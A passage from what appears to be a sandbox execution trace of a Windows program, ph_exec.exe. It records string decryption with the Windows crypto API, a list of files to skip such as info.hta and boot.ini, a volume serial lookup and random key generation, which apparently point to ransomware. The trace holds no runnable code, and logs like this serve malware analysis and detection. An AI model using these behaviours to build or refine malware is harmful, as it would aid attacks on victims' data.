(hKey=0x582d70, dwParam=0x1, pbData=0x53f59c, dwFlags=0x0) returned 1 [0032.375] CryptDecrypt (in: hKey=0x582d70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x53f568 | out: pbData=0xca82f8, pdwDataLen=0x53f568) returned 1 [0032.375] CryptDestroyKey (hKey=0x582d70) returned 1 [0032.375] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x84) returned 0xca8390 [0032.376] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x84) returned 0xca1398 [0032.376] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xca1428 [0032.376] CryptImportKey (in: hProv=0x574d50, pbData=0x53f524, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f58c | out: phKey=0x53f58c*=0x582d70) returned 1 [0032.376] CryptSetKeyParam (hKey=0x582d70, dwParam=0x1, pbData=0x53f574, dwFlags=0x0) returned 1 [0032.376] CryptDecrypt (in: hKey=0x582d70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1428, pdwDataLen=0x53f540 | out: pbData=0xca1428, pdwDataLen=0x53f540) returned 1 [0032.376] CryptDestroyKey (hKey=0x582d70) returned 1 [0032.376] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1428 | out: hHeap=0xca0000) returned 1 [0032.376] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0xca8390, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42 [0032.376] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1398 | out: hHeap=0xca0000) returned 1 [0032.376] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0032.376] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20) returned 0xca5370 [0032.376] CryptImportKey (in: hProv=0x574d50, pbData=0x53f548, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f5b0 | out: phKey=0x53f5b0*=0x582af0) returned 1 [0032.376] CryptSetKeyParam (hKey=0x582af0, dwParam=0x1, pbData=0x53f598, dwFlags=0x0) returned 1 [0032.376] CryptDecrypt (in: hKey=0x582af0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca5370, pdwDataLen=0x53f564 | out: pbData=0xca5370, pdwDataLen=0x53f564) returned 1 [0032.376] CryptDestroyKey (hKey=0x582af0) returned 1 [0032.376] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x18) returned 0xca5398 [0032.376] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x18) returned 0xca0550 [0032.376] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xca82f8 [0032.376] CryptImportKey (in: hProv=0x574d50, pbData=0x53f520, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f588 | out: phKey=0x53f588*=0x582930) returned 1 [0032.376] CryptSetKeyParam (hKey=0x582930, dwParam=0x1, pbData=0x53f570, dwFlags=0x0) returned 1 [0032.376] CryptDecrypt (in: hKey=0x582930, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca82f8, pdwDataLen=0x53f53c | out: pbData=0xca82f8, pdwDataLen=0x53f53c) returned 1 [0032.376] CryptDestroyKey (hKey=0x582930) returned 1 [0032.376] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0032.376] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;", lpDst=0xca5398, nSize=0xc | out: lpDst="C:\\Windows;") returned 0xc [0032.376] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca0550 | out: hHeap=0xca0000) returned 1 [0032.376] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca5370 | out: hHeap=0xca0000) returned 1 [0032.376] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20a) returned 0xca95e0 [0032.376] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x20a) returned 0xca97f8 [0032.376] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xca97f8, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\ph_exec.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\ph_exec.exe")) returned 0x23 [0032.376] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca97f8 | out: hHeap=0xca0000) returned 1 [0032.376] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0xb38) returned 0xca97f8 [0032.376] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.377] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.378] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.379] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.380] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.381] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.382] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.383] GetLastError () returned 0x0 [0032.384] GetLastError () returned 0x0 [0032.384] GetLastError () returned 0x0 [0032.384] GetLastError () returned 0x0 [0032.384] GetLastError () returned 0x0 [0032.384] GetLastError () returned 0x0 [0032.384] GetLastError () returned 0x0 [0032.384] GetLastError () returned 0x0 [0032.384] GetLastError () returned 0x0 [0032.384] GetLastError () returned 0x0 [0032.384] GetLastError () returned 0x0 [0032.384] GetLastError () returned 0x0 [0032.384] GetLastError () returned 0x0 [0032.384] GetLastError () returned 0x0 [0032.384] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca97f8, Size=0xb46) returned 0xca97f8 [0032.384] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x86) returned 0xca82f8 [0032.384] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca82f8, Size=0x9e) returned 0xca1398 [0032.384] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1a) returned 0xca5370 [0032.384] CryptImportKey (in: hProv=0x574d50, pbData=0x53f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f70c | out: phKey=0x53f70c*=0x5826f0) returned 1 [0032.384] CryptSetKeyParam (hKey=0x5826f0, dwParam=0x1, pbData=0x53f6f4, dwFlags=0x0) returned 1 [0032.384] CryptDecrypt (in: hKey=0x5826f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca5398, pdwDataLen=0x53f6c0 | out: pbData=0xca5398, pdwDataLen=0x53f6c0) returned 1 [0032.384] CryptDestroyKey (hKey=0x5826f0) returned 1 [0032.384] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x1e) returned 0xca0550 [0032.384] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x1e) returned 0xca0578 [0032.384] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xca1440 [0032.384] CryptImportKey (in: hProv=0x574d50, pbData=0x53f67c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f6e4 | out: phKey=0x53f6e4*=0x582970) returned 1 [0032.384] CryptSetKeyParam (hKey=0x582970, dwParam=0x1, pbData=0x53f6cc, dwFlags=0x0) returned 1 [0032.384] CryptDecrypt (in: hKey=0x582970, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1440, pdwDataLen=0x53f698 | out: pbData=0xca1440, pdwDataLen=0x53f698) returned 1 [0032.384] CryptDestroyKey (hKey=0x582970) returned 1 [0032.385] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1440 | out: hHeap=0xca0000) returned 1 [0032.385] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xca0550, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0032.385] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca0578 | out: hHeap=0xca0000) returned 1 [0032.385] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca5398 | out: hHeap=0xca0000) returned 1 [0032.385] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x53f74c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x53f74c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0032.385] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca0550 | out: hHeap=0xca0000) returned 1 [0032.385] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x28) returned 0xca5398 [0032.385] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca84e8 [0032.385] CryptImportKey (in: hProv=0x574d50, pbData=0x53f5b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f61c | out: phKey=0x53f61c*=0x582d70) returned 1 [0032.385] CryptSetKeyParam (hKey=0x582d70, dwParam=0x1, pbData=0x53f604, dwFlags=0x0) returned 1 [0032.385] CryptDecrypt (in: hKey=0x582d70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca84e8, pdwDataLen=0x53f5d0 | out: pbData=0xca84e8, pdwDataLen=0x53f5d0) returned 1 [0032.385] CryptDestroyKey (hKey=0x582d70) returned 1 [0032.385] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca8500 [0032.385] CryptImportKey (in: hProv=0x574d50, pbData=0x53f5ac, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f614 | out: phKey=0x53f614*=0x5826f0) returned 1 [0032.385] CryptSetKeyParam (hKey=0x5826f0, dwParam=0x1, pbData=0x53f5fc, dwFlags=0x0) returned 1 [0032.385] CryptDecrypt (in: hKey=0x5826f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca8500, pdwDataLen=0x53f5c8 | out: pbData=0xca8500, pdwDataLen=0x53f5c8) returned 1 [0032.385] CryptDestroyKey (hKey=0x5826f0) returned 1 [0032.385] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca85a8 [0032.385] CryptImportKey (in: hProv=0x574d50, pbData=0x53f5a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f60c | out: phKey=0x53f60c*=0x582af0) returned 1 [0032.385] CryptSetKeyParam (hKey=0x582af0, dwParam=0x1, pbData=0x53f5f4, dwFlags=0x0) returned 1 [0032.385] CryptDecrypt (in: hKey=0x582af0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca85a8, pdwDataLen=0x53f5c0 | out: pbData=0xca85a8, pdwDataLen=0x53f5c0) returned 1 [0032.385] CryptDestroyKey (hKey=0x582af0) returned 1 [0032.385] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca8518 [0032.385] CryptImportKey (in: hProv=0x574d50, pbData=0x53f59c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f604 | out: phKey=0x53f604*=0x582930) returned 1 [0032.385] CryptSetKeyParam (hKey=0x582930, dwParam=0x1, pbData=0x53f5ec, dwFlags=0x0) returned 1 [0032.386] CryptDecrypt (in: hKey=0x582930, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca8518, pdwDataLen=0x53f5b8 | out: pbData=0xca8518, pdwDataLen=0x53f5b8) returned 1 [0032.386] CryptDestroyKey (hKey=0x582930) returned 1 [0032.386] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x90) returned 0xcaa4a0 [0032.386] CryptImportKey (in: hProv=0x574d50, pbData=0x53f594, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f5fc | out: phKey=0x53f5fc*=0x582d70) returned 1 [0032.386] CryptSetKeyParam (hKey=0x582d70, dwParam=0x1, pbData=0x53f5e4, dwFlags=0x0) returned 1 [0032.386] CryptDecrypt (in: hKey=0x582d70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcaa4a0, pdwDataLen=0x53f5b0 | out: pbData=0xcaa4a0, pdwDataLen=0x53f5b0) returned 1 [0032.386] CryptDestroyKey (hKey=0x582d70) returned 1 [0032.386] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca8530 [0032.386] CryptImportKey (in: hProv=0x574d50, pbData=0x53f58c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f5f4 | out: phKey=0x53f5f4*=0x5826f0) returned 1 [0032.386] CryptSetKeyParam (hKey=0x5826f0, dwParam=0x1, pbData=0x53f5dc, dwFlags=0x0) returned 1 [0032.386] CryptDecrypt (in: hKey=0x5826f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca8530, pdwDataLen=0x53f5a8 | out: pbData=0xca8530, pdwDataLen=0x53f5a8) returned 1 [0032.386] CryptDestroyKey (hKey=0x5826f0) returned 1 [0032.386] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x70) returned 0xca1440 [0032.386] CryptImportKey (in: hProv=0x574d50, pbData=0x53f584, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f5ec | out: phKey=0x53f5ec*=0x582930) returned 1 [0032.386] CryptSetKeyParam (hKey=0x582930, dwParam=0x1, pbData=0x53f5d4, dwFlags=0x0) returned 1 [0032.386] CryptDecrypt (in: hKey=0x582930, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xca1440, pdwDataLen=0x53f5a0 | out: pbData=0xca1440, pdwDataLen=0x53f5a0) returned 1 [0032.386] CryptDestroyKey (hKey=0x582930) returned 1 [0032.386] htonl (hostlong=0xb4197730) returned 0x307719b4 [0032.386] CryptGenRandom (in: hProv=0x574d50, dwLen=0x20, pbBuffer=0x53f6e0 | out: pbBuffer=0x53f6e0) returned 1 [0032.386] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x28) returned 0xca0550 [0032.386] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca84d0 [0032.386] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x4) returned 0xca0580 [0032.386] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x14) returned 0xca14b8 [0032.386] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca8548 [0032.386] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x80) returned 0xca1210 [0032.386] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca85d8 [0032.386] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x82) returned 0xca1298 [0032.386] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca8680 [0032.386] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x4) returned 0xca8b30 [0032.386] CryptGenRandom (in: hProv=0x5704a0, dwLen=0x55, pbBuffer=0x53f64a | out: pbBuffer=0x53f64a) returned 1 [0032.386] GetLastError () returned 0x0 [0032.386] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca84b8 [0032.386] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x80) returned 0xca82f8 [0032.387] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca8560 [0032.387] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x2) returned 0xca8ac0 [0032.387] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x4) returned 0xca8ba0 [0032.387] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca85f0 [0032.387] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x80) returned 0xca8380 [0032.387] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca8650 [0032.387] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x4) returned 0xca8c20 [0032.387] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca8ac0, Size=0x82) returned 0xca8ca0 [0032.387] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca8c20, Size=0x100) returned 0xca8d30 [0032.387] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca8578 [0032.387] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x82) returned 0xca8e38 [0032.410] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca8590 [0032.410] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x82) returned 0xca8ec8 [0032.410] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca8ca0, Size=0x104) returned 0xca8f58 [0032.410] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca8d30, Size=0x200) returned 0xca9068 [0032.410] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8ba0 | out: hHeap=0xca0000) returned 1 [0032.410] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca9068 | out: hHeap=0xca0000) returned 1 [0032.410] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8650 | out: hHeap=0xca0000) returned 1 [0032.410] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca82f8 | out: hHeap=0xca0000) returned 1 [0032.410] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca84b8 | out: hHeap=0xca0000) returned 1 [0032.410] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8380 | out: hHeap=0xca0000) returned 1 [0032.410] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca85f0 | out: hHeap=0xca0000) returned 1 [0032.410] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8f58 | out: hHeap=0xca0000) returned 1 [0032.410] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8560 | out: hHeap=0xca0000) returned 1 [0032.410] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8e38 | out: hHeap=0xca0000) returned 1 [0032.411] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8578 | out: hHeap=0xca0000) returned 1 [0032.411] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8ec8 | out: hHeap=0xca0000) returned 1 [0032.411] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8590 | out: hHeap=0xca0000) returned 1 [0032.411] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca0580 | out: hHeap=0xca0000) returned 1 [0032.411] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca84d0 | out: hHeap=0xca0000) returned 1 [0032.411] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1298 | out: hHeap=0xca0000) returned 1 [0032.411] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca85d8 | out: hHeap=0xca0000) returned 1 [0032.411] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca1210 | out: hHeap=0xca0000) returned 1 [0032.411] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8548 | out: hHeap=0xca0000) returned 1 [0032.411] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8b30 | out: hHeap=0xca0000) returned 1 [0032.411] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca8680 | out: hHeap=0xca0000) returned 1 [0032.411] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca0550 | out: hHeap=0xca0000) returned 1 [0032.411] HeapFree (in: hHeap=0xca0000, dwFlags=0x0, lpMem=0xca14b8 | out: hHeap=0xca0000) returned 1 [0032.411] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0xa4) returned 0xca1210 [0032.411] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x8, Size=0x66) returned 0xca14b8 [0032.411] RtlReAllocateHeap (Heap=0xca0000, Flags=0x0, Ptr=0xca14b8, Size=0xca) returned 0xca12c0 [0032.411] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0x10) returned 0xca8578 [0032.411] RtlAllocateHeap (HeapHandle=0xca0000, Flags=0x0, Size=0xb40) returned 0xca8ca0 [0032.411] CryptImportKey (in: hProv=0x574d50, pbData=0x53f57c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x53f5e4 